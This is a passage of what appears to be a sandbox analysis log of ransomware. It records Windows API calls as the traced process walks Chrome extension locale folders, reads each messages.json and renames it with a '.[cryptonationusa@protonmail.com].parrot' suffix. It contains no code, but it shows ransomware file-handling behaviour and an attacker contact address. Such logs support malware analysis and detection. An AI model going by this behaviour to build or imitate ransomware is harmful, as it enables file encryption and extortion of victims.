nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.866] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.866] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xde, lpOverlapped=0x0) returned 1 [0070.866] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.866] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.866] CloseHandle (hObject=0x1fc) returned 1 [0070.867] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.868] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.869] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841f51b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7b85580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7b85580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.869] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841f78c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f78c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7b85580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.869] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.869] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.869] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841fc6e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841fedf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841fedf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.869] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.869] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.869] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841fedf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841fedf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.871] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x204, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.871] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.871] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.872] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.872] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xec, lpOverlapped=0x0) returned 1 [0070.873] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.873] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x204, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.873] CloseHandle (hObject=0x1fc) returned 1 [0070.873] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.875] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.875] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841fc6e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bab6e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bab6e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.875] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841fedf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841fedf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7bab6e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.875] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.875] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.876] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84203c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84206320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84206320, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.876] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.876] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.876] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84206320, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84206320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.876] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.876] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.876] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.877] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.877] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd8, lpOverlapped=0x0) returned 1 [0070.877] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.877] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.877] CloseHandle (hObject=0x1fc) returned 1 [0070.878] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.879] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.879] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84203c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bab6e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bab6e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.879] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84206320, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84206320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7bab6e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.880] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.880] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.880] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8420b140, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8420d850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8420d850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.880] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.880] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.880] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8420d850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8420d850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.882] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x222, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.882] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.882] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.883] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.883] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10a, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x10a, lpOverlapped=0x0) returned 1 [0070.883] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.883] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x222, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.883] CloseHandle (hObject=0x1fc) returned 1 [0070.883] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.886] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.886] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8420b140, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bab6e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bab6e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.887] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8420d850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8420d850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7bab6e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.887] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.887] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.887] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84212670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84212670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.887] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.887] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.887] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84214d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b91d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.887] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f9, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.887] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.887] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.888] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.888] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe1, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe1, lpOverlapped=0x0) returned 1 [0070.889] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.889] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.889] CloseHandle (hObject=0x1fc) returned 1 [0070.889] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.891] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.891] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7bd1840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7bd1840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.891] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84214d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7bd1840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.891] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.891] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.891] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84219ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8421c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8421c2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, 